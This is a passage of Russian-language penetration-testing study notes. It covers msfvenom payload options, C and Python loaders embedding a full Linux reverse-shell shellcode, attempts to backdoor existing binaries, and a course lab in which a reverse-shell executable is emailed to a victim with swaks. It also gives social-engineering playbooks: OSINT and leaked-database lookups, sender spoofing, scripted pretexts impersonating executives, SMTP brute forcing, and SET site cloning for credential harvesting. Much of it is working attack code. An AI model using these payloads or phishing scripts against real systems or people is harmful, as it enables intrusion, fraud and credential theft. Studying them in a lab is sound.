текстовых ограничений есть специализированные «алфавитные»/ASCII-энкодеры (например alpha2) — они создают шеллкод, содержащий только допустимые символы, но это сильно увеличивает размер. Часто используемый минимум - \\x00 — нуль-байт: обрывает C-строки / строки в многих API. - \\x0a — LF (line feed, \\n): завершает строку в текстовых вводах/протоколах. - \\x0d — CR (carriage return, \\r): вместе с LF важен в протоколах; часто фильтруется. Это самые распространённые, их почти всегда добавляют в --bad-chars. Дополнительные байты в зависимости от вектора - В командной строке / аргументах процесса \\x20 (space), \\x22 ("), \\x27 ('), \\x5c (\\) пробел и кавычки могут ломать парсинг аргументов или экранирование. - В HTTP / URL контекстах \\x2f (/), \\x3f (?), \\x26 (&), \\x3d (=), \\x25 (%), \\x2b (+) специальные символы в URL/GET-параметрах; некоторый ввод URL-энкодируется. - В файлах путей / файловых полях \\x2f (/), \\x5c (\\), \\x3a (:) — разделители путей, двоеточие и т.п. - В XML / HTML < (\\x3c), > (\\x3e), & (\\x26), " (\\x22), ' (\\x27) — могут испортить разметку или вызвать экранирование. - В SQL-контекстах ' (\\x27) — закрывает строки в SQL; также ; (\\x3b) — разделитель команд. - В Base64 / MIME / почтовых полях = (\\x3d) — padding в Base64, \\r\\n последовательности — важны для заголовков. - В текстовых полях, где обрезают по контрол-символам \\x00.. \\x1f (контролы: NUL, BEL, TAB, ESC и т.д.) — часто фильтруются или воспринимаются как спецсимволы. Особенно: \\x09 (TAB) может вести себя непредсказуемо. Специальные случаи и алфавиты - Алфавитные (alpha) ограничения: иногда доступен только набор печатных ASCII (A–Z, a–z, 0–9). Для таких случаев есть специальные энкодеры (alpha\_upper, alpha\_mixed), но размер растёт. - Unicode/UTF-16: если приложение принимает UTF-16, нужно учитывать нулевые байты между символами (и т.д.).
**Настройка шифрования**
--encrypt <value>Тип шифрования payload
--encrypt-key <value>Ключ шифрования
--encrypt-iv <value>Вектор инициализации для шифрования.
**NOP**
-n, --nopsled <length>Вставляет зону заполнения инструкциями «NOP» перед основным shellcode, чтобы при попадании управления в произвольное место этой зоны с вероятностью выше попасть в начало шеллкода. Полезно при эксплуатациях (buffer overflow, return‑oriented jump и т.п.) — создаёт «landing zone», повышая шанс успешного перехода на рабочий код. Зачем нужен - При эксплойтах часто точно угадать адрес сложно; NOP‑sled даёт запас: управление может «упасть» в любую точку sled‑а и «скольжением» дойти до реального шеллкода. - Удобно для тестов/демо и в ситуациях, где вы вклю́чаете payload в нестабильный буфер. Пример использования (вставляем 64 байта NOP перед payload): ``` msfvenom -p windows/shell_reverse_tcp \ LHOST=10.0.0.1 LPORT=4444 -f raw -n 64 -o payload.bin ``` В результате файл payload.bin начнётся с 64 NOP‑байтов, затем пойдёт декодер/сам payload. Важные нюансы - Размер. NOP‑sled увеличивает итоговый размер payload — учитывайте ограничения целевого буфера. - bad‑chars. Байты, используемые для NOP‑sled, тоже должны не попадать в --bad-chars; иначе sled будет содержать запрещённые символы. - Архитектура. NOP‑инструкция зависит от архитектуры (x86/x64/ARM и т.д.). msfvenom подставляет подходящую «nop» по умолчанию. - Альтернативы NOP. В ограниченных алфавитах часто используют «полезные» sled‑паттерны (например series of short jumps, INC/DEC tricks или специальные „NOP–генераторы“), потому что обычный \\x90 может быть запрещён. - Выравнивание. В некоторых сценариях важна выравненность инструкций (особенно на ARM/Thumb) — просто добавлять байты вслепую — риск; проверяйте на целевой архитектуре. - Не панацея. NOP‑sled помогает только при нестрогом контроле адреса; в ряде случаев лучше управлять точным возвратом/переписыванием указателей. Проверка ``` #!/usr/bin/python3 data = open('payload.bin','rb').read() print(data[:16].hex())   # покажет первые 16 байт (должны быть NOP) ```
--pad-nopsИспользует размер nopsled, указанный с помощью -n <длина>, в качестве общего размера полезной нагрузки, автоматически добавляя nopsled количества (nops минус длина полезной нагрузки).
**Дополнительные настройки**
--platform <platform>Платформа для payload
-a, --arch <arch>Архитектура для payload или encoders
--service-name <value>Имя сервиса при генерации бинарника для сервиса.
-v, --var-name <value>Имя переменной, которое будет использоваться в сгенерированном исходном коде (например для типов файла -f c, -f python, -f ruby, -f perl и т.п.). Удобно при встраивании shellcode в исходный файл. Когда применяется - Для генерирующих исходный код форматов (C, Python, Ruby, Perl, PowerShell и др.). - Не применимо для бинарных форматов вроде raw, exe (в смысле имени переменной — там нет переменной в коде). Примеры C: ``` msfvenom -p linux/x86/shell_reverse_tcp \ LHOST=10.0.0.1 LPORT=4444 -f c -v shellcode ``` Результат (фрагмент) будет содержать: ``` unsigned char shellcode[] =  "\x31\xc0\x50\x68..." ; unsigned int shellcode_len = 123; ``` Python: ``` msfvenom -p python/meterpreter/reverse_tcp \ LHOST=10.0.0.1 LPORT=4444 -f python -v payload_bytes ``` Результат: ``` payload_bytes =  b"" payload_bytes += b"\x31\xc0\x50\x68..." ``` Ограничения и советы - Имя должно быть валидным идентификатором для целевого языка (буквы/цифры/подчёркивание; не начинать с цифры). msfvenom обычно не будет проверять/исправлять сложные/некорректные имена — лучше самому дать корректное. - Если не указывать, msfvenom подставит стандартное имя (часто buf или имя по формату). - Полезно для автоматизации/шаблонов: если у вас несколько вставок shellcode в одном файле — задавайте уникальные имена (stage1, stage2, injector).
**Объединение кода**
-x, --template <path>Бинарник, в который нужно добавить созданную нагрузку. Не изменяет существующую логику бинарника. Т е заменяется некая часть. Не подходит для инъекции в любые приложения. -k, --keep Сохранить шаблон, а payload добавить в новый поток.
--sec-name <value>Имя новой секции (section) PE-(Windows)-файла, в которую msfvenom размещает большой payload при генерации исполняемого файла. По умолчанию случайное 4 символьное слово. Актуально если payload не помещается в существующие секции шаблона, msfvenom создаёт дополнительную секцию в PE-образе; --sec-name позволяет задать имя секции вместо случайного. - Опция применяется при генерации больших Windows-бинарников (формат exe и т.п.), особенно если вы используете --template или payload большой - PE-формат не более 8 символов в имени секции в исполняемом образе - Задает имя, выглядящее «легитимно» (например, .rdata, .data, .text) для маскировки секции, или специальное название для отладки/анализa. - Некоторые детекторы обращают внимание на «необычные» имена секций и изменённую структуру PE, возможно стоит установить. ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \  -f exe --template /path/to/stub.exe --sec-name .msf -o payload.exe ```
-c, --add-code <path>Добавляем дополнительный shellcode. Это позволяет сложить несколько шэллкодов в один. msfvenom берёт файл с raw-shellcode (обычно в бинарном формате) и вставляет/добавляет его в генерируемый шеллкод/файл как дополнительный блок кода. Это полезно, если нужно включить заранее подготовленный код (например, MessageBox-демо, кастомный инжектор, bootstrap-stub и т.п.) вместе с payload от Metasploit. Важные нюансы и ограничения - Формат/архитектура. Файл, который вы передаёте через -c, должен содержать shellcode той же архитектуры/платформы (x86/x64/ARM и т.д.), что и основной payload — иначе получившийся бинарник не будет работать. - Raw-формат. Обычно это raw (сырые байты) shellcode, а не EXE/APK. - Размер. Итоговый payload увеличится на размер добавленного кода — учтите это при вставке в шаблон с ограниченными секциями. - Bad-chars / энкодеры. Дополнительный код тоже должен соответствовать ограничениям --bad-chars и выбранному энкодеру — декодер/энкодер должен быть совместим с обоими кусками кода. Иначе msfvenom может не суметь корректно закодировать финальную последовательность. - Совместимость с шаблонами. При встраивании в exe/apk/другие форматы проверьте, как шаблон обрабатывает дополнительные данные — иногда придётся использовать --template/--sec-name и т.п.
**Настройки результата**
-o, --out <path>Путь и имя создаваемого файла
-f, --format <format>Формат создаваемого файла
**Объединение нагрузки и своего кода.** Задача: собрать объединенный бинарник, из first\_copy.out (выводит ждет ввода данных и reverse shell из metasploit). Новый бинарь закинуть обратно на существующую машину. Интересный проект https://github.com/secretsquirrel/the-backdoor-factory?tab=readme-ov-file **Подготовка.** Для проверки работы запустим listener на Kali и будем ждать соединения. ``` msf> use exploit/multi/handler msf> set payload linux/x64/shell_reverse_tcp msf> set LHOST 192.168.1.189 msf> exploit ``` Просто генерация кода работает. Но дальше - болт. Предположения в части шаблонов, добавления сегмента и объединения кода как-то плохо пошли. Чего-то базового не понимаю. Похоже, инжектировать код в абстрактную программу довольно сложный процесс. Однако это критичная задача. Начнем с малого. **Добавление нагрузки в виде шелл-кода в исходный код** Создаем код: ``` msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.189 LPORT=4444 --arch x64 --platform linux -f c ``` Оно выведет кусок кода, который нужно вставить и выполнить. Последовательное исполнение, C: ```c #include #include #include int main() { // Шеллкод для linux/x64/shell_reverse_tcp unsigned char shellcode[] = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48" "\xb9\x02\x00\x11\x5c\xc0\xa8\x01\xbd\x51\x48\x89\xe6\x6a\x10" "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58" "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f" "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"; printf("Shellcode length: %zu\n", strlen(shellcode)); // Выделяем исполняемую память void *exec = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); memcpy(exec, shellcode, sizeof(shellcode)); // Выполняем ((void(*)())exec)(); return 0; } ``` Создается бинарник без доп. команд, ``` gcc -o third third.c ``` Shell код выполняется и программа в любом случае завершается, вне зависимости от дальнейших C команд, т.к. в генерируемом shell коде нет адреса возврата. То есть бинарник-то может быть большим, но после перехода в старт исполнения из памяти, последующее работать не будет. Последовательное выполнение, Python ```python #!/usr/bin/env python3 import ctypes import mmap # Шеллкод из msfvenom buf = b"" buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05" def execute_shellcode(shellcode): # Выделяем исполняемую память executable_memory = mmap.mmap(-1, len(shellcode), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) executable_memory.write(shellcode) # Получаем указатель на память ctypes_buffer = ctypes.c_void_p.from_buffer(executable_memory) # Преобразуем в функцию function = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes_buffer)) # Выполняем function() if __name__ == "__main__": print("Executing shellcode...") execute_shellcode(buf) print("End executing.") ``` Подпроцесс (проверить) ```python #!/usr/bin/env python3 import subprocess import sys def create_and_execute(): # Шеллкод shellcode = b"\x6a\x29\x58\x99..." # ваш шеллкод здесь # Создаем временный файл with open("/tmp/shellcode.bin", "wb") as f: f.write(shellcode) # Делаем исполняемым и запускаем subprocess.run(["chmod", "+x", "/tmp/shellcode.bin"]) print("Shellcode saved to /tmp/shellcode.bin") # Запускаем (раскомментируйте для выполнения) # subprocess.run(["/tmp/shellcode.bin"]) if __name__ == "__main__": create_and_execute() ``` Запуск приложения изолировано от консоли ``` section .data browser db '/usr/bin/firefox', 0 url db 'https://irk.ru', 0 argv dq browser, url, 0 section .text global _start _start: ; fork() mov rax, 57 syscall cmp rax, 0 jnz exit_parent ; --- Дочерний процесс --- ; закроем stdin/out/err mov rax, 3 xor rdi, rdi syscall mov rdi, 1 mov rax, 3 syscall mov rdi, 2 mov rax, 3 syscall ; вычисляем адрес envp mov rbx, rsp ; начало стека mov rcx, [rbx] ; argc lea rdx, [rbx + 8] ; указывает на argv[0] .skip_argv: cmp qword [rdx], 0 lea rdx, [rdx + 8] jne .skip_argv ; пропускаем все argv ; теперь rdx указывает на envp[0] ; execve("/usr/bin/firefox", argv, envp) mov rax, 59 mov rdi, browser mov rsi, argv syscall ; если не сработал execve mov rax, 60 mov rdi, 1 syscall exit_parent: mov rax, 60 xor rdi, rdi syscall ``` Теперь попробуем добавить вместо выхода шелл-код. dd # Социальная инженерия # Общая идея **Определения** Социальная инженерия (атака) — обман, манипулирование и мошенничество с использованием социальных и психологических аспектов человеческой жизни. Разведка по открытым источникам (Open Source Intelligence, OSINT) — разведывательная дисциплина, включающая в себя поиск, выбор и сбор разведывательной информации из общедоступных источников, а также её анализ. **Атака** На первом шаге уязвимости мышления и поведения человека, затем — уязвимости информационных систем. Цели атак: - Выполнение жертвой (сознательно, либо неосознанно) необходимых действий - Раскрытие необходимой информации Этапы атаки: - Поиск информации о целях - Подготовка сценариев атак - Применение сценариев атак и замер результатов Уже сейчас ясно, что для этого потребуется инфраструктура. **Поиск информации о целях** *Компания → Участники организационной структуры компании → Сотрудники* Конечная цель — получить информацию о сотрудниках компании, которые имеют требуемый уровень доступа, и собрать потенциально удобные в использовании «легенды» для подготовки сценария компрометации. Изучение компании: профиль, процессы, роли, управляющий орган, контактные данные и пр. Большую часть информации о компании есть на сайте. Также в открытых источниках, через поисковые запросы в yandex.ru, google.com, bing.com либо сразу при помощи платформ [СПАРК](https://spark-interfax.ru/), [rusprofile](https://rusprofile.ru/) и пр. Изучение организационной структуры: департаменты и отделы в компании, связанность и подчиненность подразделений, открытые вакансии. На сайте компании мы можем получить информацию о структуре компании и открытых в ней вакансиях. Дополнительно об этом мы можем узнать из заявок компании на [hh.ru](https://hh.ru/) (в т.ч. архивных). Детали устройства компании, процессов и проблем в ней - мы можем найти на сайтах отзывов о работодателях: [https://www.glassdoor.com/](https://www.glassdoor.com/) [https://maps.yandex.ru/](https://maps.yandex.ru/) [https://pravda-sotrudnikov.ru/](https://pravda-sotrudnikov.ru/) Изучение сотрудников: контактные данные, имена, должности линейных руководителей, роли в компании. Существует множество инструментов, решающих конкретные задачи поиска email-адресов, номеров телефонов сотрудников, связанных с целевой компанией: Инструменты: - Infoga - [https://github.com/m4ll0k/Infoga](https://github.com/m4ll0k/Infoga) - FocaPro - [https://github.com/ElevenPaths/FOCA](https://github.com/ElevenPaths/FOCA) - TheHarvester - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) Ресурсы: - hunter.io - snov.io - intelx.io Техники: - SMTP User Enumeration (RCPT TO, MAIL FROM, VRFY) - энумерация (перебор) пользователей почтового сервера через протокол SMTP. - OWA (Outlook Web Access) Enumeration - энумерация (перебор) пользователей почтового сервера через веб-страницу Outlook Web Access. **Подготовка сценария** Техники маскирования - Маскирование доменов: создание похожих доменов, отличающихся одной буквой, цифрой, разделением и прочими символами. - Подмена отправителя: техника формирования письма в соответствии со стандартами RFC 822, 5322. Реализуется таким образом, чтобы влиять на заголовок письма From, создавая видимость отправки письмо от стороннего лица. - Отправка без авторизации в рамках одного домена Evil Proxy (Проброс трафика через прокси): использование прокси вместо поддельных сайтов для перехвата кодов второго фактора и идеального воспроизведения зеркала сайта. [Пример инструмента](https://github.com/kgretzky/evilginx2) Основные инструменты автоматизации фишинговых рассылок — это инструменты автоматизации сбора информации, зеркалирования сайтов и отправки сообщений. - [SET ](https://github.com/trustedsec/social-engineer-toolkit)(Social Engineering Toolkit) - [GoPhish](https://getgophish.com/) - Metasploit Framework Популярные формы сценариев, в которые верят пользователи - Фишинг (Phishing) Вид интернет-мошенничества, целью которого является получение доступа к конфиденциальным данным пользователей: логинам и паролям. - Vishing (голосовой фишинг) Один из методов мошенничества с использованием социальной инженерии, который заключается в том, что злоумышленники, используя телефонную коммуникацию, под разными предлогами выманивают конфиденциальную информацию или стимулируют к совершению определённых действий. - Baiting Используется "наживка" — разбросанные флэшки, ссылки на бесплатное скачивание интересного контента (фильма, книги и т.п.). При не кибермошенничестве — брошенный кошелек, содержимое которого предлагают разделить, и т.п. **Применение сценариев атак и измерение результатов** Вопросы, возникающие в момент применения сценариев атаки: - Когда запускать сценарий? - Что может пойти не так? - Что измерять как результат? Время запуска: Когда спят / обедают / отсутствуют администраторы и те, кто могут отреагировать превентивно: - ранние (утренние) часы; - середина рабочей недели (среда / четверг), чтобы сотрудники могли продолжить “ловиться” и в пятницу. Что может пойти не так? - Блокировка вашего рассыльщика: нужно иметь в виду минимум 3 варианта mail-серверов, если вы хотите отправить порядка тысячи писем. Публичные серверы: mail.ru, gmail.com, yandex.ru Платформы для отправки массовых рассылок: mailgun.com, Amazon Simple Email Service (Amazon SES), SendPuls и пр. Собственные почтовые серверы (Можно использовать легковесные образы вроде poste.io) - Реагирование на ваш сценарий социальной инженерии: реакция может произойти в том числе по вине вашего сценария. Например, если пользователь заметил неладное и начал писать обращения в техподдержку или коллегам. Необходимо составлять сценарий так, чтобы пользователь до самого конца думал, что все проходит по правилам и по плану. Как измерять результат? Заказчику нужно понимать, в чём уязвимость каждого из действий его сотрудников. Для каждого конкретного пользователя, времени и сценария, с которым пользователь работает, необходимо измерять: - открытие писем; - переходы по ссылкам; - введенные данные; - выполнение сценария: ответные действия и пр. [Агрегация](https://github.com/giuliacassara/awesome-social-engineering) популярных книг, статей, инструментов, техник в социальной инженерии. **Принципы Чалдини** Роберт Чалдини (Robert Cialdini) книга «Психология влияния», шесть принципов убеждения ("six principles of influence"): **1. Взаимность (Reciprocity): "Люди платят тем же"** Мы чувствуем обязанность "вернуть долг" людям, от которых мы что-то получили. Это работает следующим образом: - Дайте что-то. - Через какое-то время (не сразу) попросите что-нибудь взамен: возможно, вы даже получите больше. --- Примеры: - Звоним на ресепшен и говорим: "Я вашему генеральному директору только что отправил посылку из \[название другой компании\] / его заказ из \[название сервиса\], но у нас оборвался звонок, не могу ему перезвонить — почему-то попадаю на вас. Подскажете его актуальный номер телефона?" - Отправляем письмо: "Коллеги, я за вас сделал работу \[придумываем, какую\], пожалуйста, проверьте её: перейдите по ссылке \[адрес ссылки\], посмотрите, всё ли корректно?" **2. Обязательность и последовательность (Commitment and consistency)** Дав обещание, высказав свою точку зрения или заняв определенную позицию, большинство людей предпочитают ее придерживаться. Даже если мы оказались неправы либо наши обещания уже не имеют практического смысла, мы склонны оправдывать свои обязательства или казаться последовательными в своём мнении (часто по факту последовательными не являясь). По сути, мы вынуждены изобретать обоснования для подтверждения того, что сделали правильный выбор. --- Пример: Осторожно "продавить" другого человека на выполнение какого-либо его собственного обещания. **3. Социальное доказательство (Social proof)** Люди следуют схожему примеру других (особенно когда нет уверенности, что именно надо делать). Люди, как социальные существа, в большой степени полагаются на сигналы от окружающих о том, как им мыслить, чувствовать и действовать. --- Пример: Пишем человеку: "Все твои коллеги уже сделали \[какое-либо стандартное рабочее действие\], не сделал только ты, как можно скорее отправь письмо / перейди по ссылке \[адрес ссылки\] / скачай файл ..." **4. Власть и авторитет (Authority): "Доверьтесь знающему человеку"** ​​​​​​​Люди склонны подчиняться тем, кто имеет власть, авторитет, знатокам своего дела, даже если они призывают к сомнительным действиям. --- Пример: Звоним сотруднику какой-либо крупной компании (такой, в которой люди не знаю в лицо своего генерального директора) и говорим: "Привет, это \[имя и фамилия генерального директора\], хочу, чтобы ты лично сделал вот это: как можно скорее отправь письмо / перейди по ссылке \[адрес ссылки\] / скачай файл / пришли мне номер телефона ..." **5. Сходство и симпатия (Liking)** Люди любят тех, кто похож на них, и тех, кто любит их. Если вы хотите влиять на людей, делайте их своими друзьями. Особенно важны подобие и похвала. Подобие по-настоящему объединяет людей. --- Пример: т​​​​о же, что и в предыдущем примере, только представляетесь не генеральным директором, а кем-то, кто очень похож по занимаемой позиции в компании / образу мыслей и паттернам поведения на вашего адресата (например, его коллега). **6. Дефицит (Scarcity)** Возможности кажутся более ценными, желанными, когда они становятся менее доступными. Если у нас есть выбор: получить что-либо сейчас или или получить это же в будущем, мы выбираем — получить сейчас. При этом не факт, что нам этот предмет или эта услуга вообще нужны. --- Пример: Отправляем письмо: "Мы оформляем подписку на корпоративную программу фитнеса, мест всего 100, пожалуйста, зарегистрируйтесь по ссылке \[адрес ссылки\] ..." # Пример атаки **Пример 1.** Письмо от имени специалиста поддержки (с подменой отправителя) с требованием изменить учетные данные, ссылка ведет на нужный сайт. Письма отображаются по-разному в разных клиентах, где-то скрывается реальный почтовый адрес. **Пример 2.** 1. Для того, чтобы найти корпоративную почту конкретного сотрудника, нам нужно узнать маску электронных адресов данной компании. 2. После того, как мы находим маску, можем узнать корпоративные почты других сотрудников, например, с помощью перебора на SMTP-сервере. На сайте компании найти почту для обратной связи, для того, чтобы определить маску электронного адреса. Затем перечень пользователей, которые представлены на сайте. Здесь нам нужны фамилия и имя. Открываем сайт генерации почт [Email Permutator+](http://metricsparrow.com/toolkit/email-permutator/) и вводим имя, фамилию и домен компании. Проверяем почту на существование Также можно использовать Hydra (Windows, Linux), которая позволяет перебрать email-адреса на SMTP-сервере. ``` hydra -L userlist.txt -s 465 smtp.gmail.com smtp ``` Найденную почту можно проверить в слитых базах данных. Если - да, и ей можно воспользоваться, значит есть возможность получить доступ к внутренней информации компании и не только. Ввиду последних событий большинство компаний по доставке еды были подвержены атаке: были слиты базы данных пользователей. Если искать среди этих баз, то можно узнать персональные данные сотрудника. Эффективность техники измеряется в таких параметрах, как: - Скорость - Качество результатов Улучшение качества 1. Повысить скорость за счет автоматизации процесса поиска корпоративных почт (например, [hunter](https://hunter.io/)). Также скорость повышается за счет использования перебора почт на SMTP-сервере. 2. Повысить качество результатов за счет использования больших исходных данных, а также использования нескольких сервисов для поиска, проверки валидности с искомые данные. 3. Комбинирование сочетание методов поиска информации (например, не только с помощью слитых баз данных, а также с помощью открытых источников). Также следует комбинировать поиск информации с помощью скриптов и Telegram-ботов. **Пример 3** Стенд: [Win10\_Social.v3.7z](https://stepik-files.cyber-ed.space/WhiteHat/Win10_Social.v3.7z) (зеркала: [Яндекс.Диск](https://disk.yandex.ru/d/vC_AA3VQExjx8Q) и [OneDrive](https://cybered-my.sharepoint.com/:u:/g/personal/stepik_cyber-ed_ru/EWYxeTulMlBIvvehTCc5Va4BYH7Yhv4RbEwYWknOz9UrqA?e=wLHYGh)) Особенности стенда - После создания нужно открутить время на виртуалке назад на август 2024 года. Пример для -1 год: ``` cd C:\Program Files\Oracle\VirtualBox VBoxManage modifyvm "Win10_Social" --biossystemtimeoffset -31536000000 ``` - В сети должен присутствовать DHCP-сервер. - Для запуска почтового сервера нужно минимум 500 МБ свободной памяти, поэтому на весь стенд нужно выделить минимум З ГБ оперативной памяти. - В стенде есть пользователь Trevis с паролем: Qwerty123 Этот пользователь сильно ограничен в правах, он не может менять настройки системы и не имеет доступа к файлам других пользователей. - Для контроля работы почтового сервера и бота зайти под Trevis, в диспетчере задач в расширенном режиме должен быть axigen.exe (почтовый сервер) и python.exe (бот). - В сети с доступом интернету возможна очень медленная работа почтового сервера, а при отправке писем клиенты начнут отваливаться по таймауту. Для решения нужно увеличить время ожидания ответа от сервера, в swaks это делается добавлением ключа, например --timeout 3m. Общий ход действий 1. При помощи `nmap` просканируйте сеть и найдите машину со стендом (обратите внимание, что в стенде включён брандмауэр и следовательно на ping он не откликается). 2. Просканируйте `nmap` его порты и убедитесь, что открыт SMTP-порт (25). 3. В минимальном случае достаточно отправить по почте специальную программу, которая после запуска считает содержимое файла и отправит его на внешний ресурс. Однако более гибким будет решение, когда вы получаете полный доступ к системе жертвы, например через shell. 4. Поднимать listener на стороне жертвы не лучшее решение — могут сработать средства защиты, поэтому для задачи грамотней сразу использовать подключение к вашему внешнему серверу. Для данной задачи подойдёт фреймворк metasploit, например с нагрузками `windows/shell/reverse_tcp`, `windows/meterpreter/reverse_tcp` или т.п. 5. Для генерации исполняемого файла можно использовать утилиту `msfvenom` или команду `generate` в `msfconsole`. 6. Чтобы отправить письмо вам потребуется почтовый клиент, например можно воспользоваться уже установленной в Kali Linux консольной утилитой `swaks` Для справки выполните `man swaks` Подробные подсказки 1. Пример команды msfvenom: `msfvenom -p windows/shell/reverse_tcp LHOST=192.168.13.38 LPORT=4444 -f exe -o upd.exe` Генерация происходит в текущую папку, LHOST - адрес для подключения 2. Чтобы поднять listener можно воспользоваться metasploit: запускаете `msfconsole`, указываете эксплойт `use exploit/multi/handler`, нагрузку (например `windows/shell/reverse_tcp`), ip прослушивания `set LHOST 192.168.13.38` (не забудьте указать ваш адрес или воспользуйтесь `0.0.0.0`) и запускаете эксплойт командой `exploit`. 3. Пример команды swaks: `swaks --to mike@sandbox.local --from admin@sandbox.local --server 192.168.13.37 --attach @upd.exe` 4. При отправке письма обращайте внимание на корректность указания файла, если вы ошибётесь в пути или имени файла, то письмо всё равно отправится, но без файла. Если строчка логов, начинающаяся на `Content-Type: application/octet-stream` не содержит в себе имени файла, то значит в письме нет файла. Косвенным признаком наличия во вложении файла является большой лог работы утилиты (сотни строк) с неразборчивым текстом -- base64. 5. Вы можете проверить работоспособность вашей нагрузки воспользовавшись пользователем Trevis. У данного пользователя нет доступа к файлам пользователя Mike, но получение реверсивного shell'а через этого пользователя говорит о том, что у вас подготовлена корректная нагрузка. 6. Для доставки файла с нагрузкой к пользователю Trevis можно воспользоваться простым http-сервером, запущенном в Kali Linux: `python -m http.server`. 7. В стенде, в учебных целях, ведутся логи работы бота (`C:\logs\bot.log`), при реальных атаках подобных логов, естественно, не будет. 8. Отображение содержимого файла в консоли windows: more filename # Поиск email & OSINT Сотрудника можно найти в утечках баз данных. Или, зная маску корпоративной почты организации, подбирается адрес электронной почты с помощью генератора email-адресов. Второй принцип - использование SMTP Связь в виде открытого текста. Порты по умолчанию — 25, 465 (больше не используется) и 587. 25 для использования при отправке от клиента на сервер, а более высокие порты для ретрансляции между SMTP-сервером. SMTP-сервер может действовать как клиент и как сервер. Термины: - Почтовый пользовательский агент (MUA): визуальная часть программы, подключающейся к SMTP-серверу для отправки электронной почты. Скорее всего Outlook или Thunderbird. - Агент пересылки почты (MTA): транспортная часть программы, получает и передает электронные письма. Сервер Exchange, шлюз с выходом в Интернет и так далее. Процесс передачи электронного письма от одного пользователя к другому: MUA → MSA → MTA → Интернет → MTA → MDA → MUA **Инструменты** [Email Permutator+](http://metricsparrow.com/toolkit/email-permutator/) – автоматически составляет список возможных адресов. **Для верификации можно воспользоваться следующими сервисами**: - [https://tools.emailhippo.com/](https://tools.emailhippo.com/) - [https://www.verifyemailaddress.org/](https://www.verifyemailaddress.org/) - [https://verify-email.org/](https://verify-email.org/) - [https://verifalia.com/validate-email](https://verifalia.com/validate-email) - [https://quickemailverification.com/](https://quickemailverification.com/) - [https://www.accuwebhosting.com/blog/top-10-bulk-email-list-verification-validation-services-compared/](https://www.accuwebhosting.com/blog/top-10-bulk-email-list-verification-validation-services-compared/) **Whois** — протокол, основная цель которого заключается в получении регистрационных данных о владельцах доменных имён, IP-адресах и автономных систем (ASN). - [https://whois.ru/](https://whois.ru/) - [https://dnschecker.org/ip-whois-lookup.php](https://dnschecker.org/ip-whois-lookup.php) - [https://bgp.he.net/](https://www.notion.so/e98d8dce702f4a8e8fc0e677a7935aee) **OSINT**: - [Infoga](https://github.com/The404Hacking/Infoga) – инструмент, собирающий информацию об учетных записях электронной почты (ip,имя хоста, страна,…) из различных открытых источников (поисковые системы, серверы ключей pgp и shodan) и проверяющий, не произошла ли утечка электронной почты с помощью [haveibeenpwned.com](http://haveibeenpwned.com/) API. - [Maltego](https://www.maltego.com/) – мощная программа для сбора информации из различных баз данных, а также их представления в удобном для понимания формате (строит логические связи между данными). - [LeakCheck](https://leakcheck.io/) – поиск данных среди >7.8 млрд записей включающие более 3000 баз данных. Поиск по имени, почте, ключевым словам, паролям или корпоративным доменным именам. - [h8mail](https://github.com/khast3x/h8mail) – представляет собой инструмент OSINT для поиска электронных почт и нарушений, использующие различные службы взлома и разведки, или локальные нарушения (например, Collection 1 Троя Ханта, торрент “Breach Compilation”). - [Hunter](https://hunter.io/) – позволяет за считанные секунды найти адреса электронных почт, информацию о том, на каких ресурсах они были опубликованы, и связаться с ними. - Зарубежный ресурс [Datanyze.com](http://www.datanyze.com/) также помогает наводить справки, но подходит скорее для иностранных пользователей. В нем достаточно указать название компании, в которой работает искомый человек. После этого вы получите список электронных ящиков. Российские компании он почти не знает. - Google Dorks - [pagodo](https://github.com/opsdisk/pagodo) – Passive Google Dork - [emailrep](http://emailrep.io/) — сайт найдет, на каких сервисах был зарегистрирован аккаунт, использующий определенную почту. - [dehashed.com](http://dehashed.com/) — проверка почты в слитых базах. - DuckDuckGo «[@domainname](https://github.com/domainname "GitHub User: domainname").com» → поиск. Запустите поиск по точному соответствию имени домена с символом @ (@domainname.com), в выдаче адреса почты в открытом доступе. - Twitter как инструмент поиска лидов. Бывает отправляют email-адрес в комментариях к твитам *.* Защита — замена «.» и «@» словами «dot» и «at». В расширенном поиске Twitter слова «dot» и «at» в твитах цели. Дополнительно можно включить слова «email», «contact» или «reach». **Утилиты**: - [hydra](https://en.kali.tools/?p=220) – это распараллеленный брутфорс паролей к различным сервисам (FTP, POP3, IMAP, Telnet, HTTP Auth, NNTP, VNC, ICQ, PCNFS, CISCO и др.) для UNIX платформ. С помощью этой утилиты вы можете атаковать несколько сервисов одновременно. - [theHarvester](https://github.com/laramies/theHarvester) – это простой в использовании, но мощный инструмент, предназначенный для использования на этапе разведки. Он выполняет сбор информации из открытых источников (OSINT), чтобы помочь определить уровень внешних угроз домена. Инструмент собирает имена, адреса электронной почты, IP-адреса, поддомены и URL-адреса с помощью несколько общедоступных ресурсов. ``` theHarvester -d ethicalhackingblog.com -b all -s ``` - dmitry информация о домене. ``` dmitry -wnse admirk.ru ``` - Maltego. Крутой инструмент, но платный. # setoolkit Главное меню из 6 элементов, но основные - Social-engeneering Attacks и Penetraiton testing. **Создание зараженного файла:** Social-engeneering Attacks -> Spear-Phishing Attack Vectors -> Create a FileFormat Payload # Клонирование сайта Запуск SET ``` sudo setoolkit ``` № 1: Social-Engineering Attacks (Атаки методом социальной инженерии) ->№ 2: Website Attack Vectors (Вектор атак на сайты) -> № 3: Credential Harvester Attack Method (Атака для сбора учетных данных) ->№ 2: Site Cloner (Клонирование сайта) Будет предложено указать IP адрес, на котором будет http шлюз. Т е тот сервер, к которому будет организовано подключение и которое будет отображать типа-фэйковый-сайт. Здесь адрес на интерфейсе Kali 192.168.1.15. Этот пункт добавлен в связи с несколькими возможными интерфейсами в системе. ``` set:webattack> IP address for the POST back in 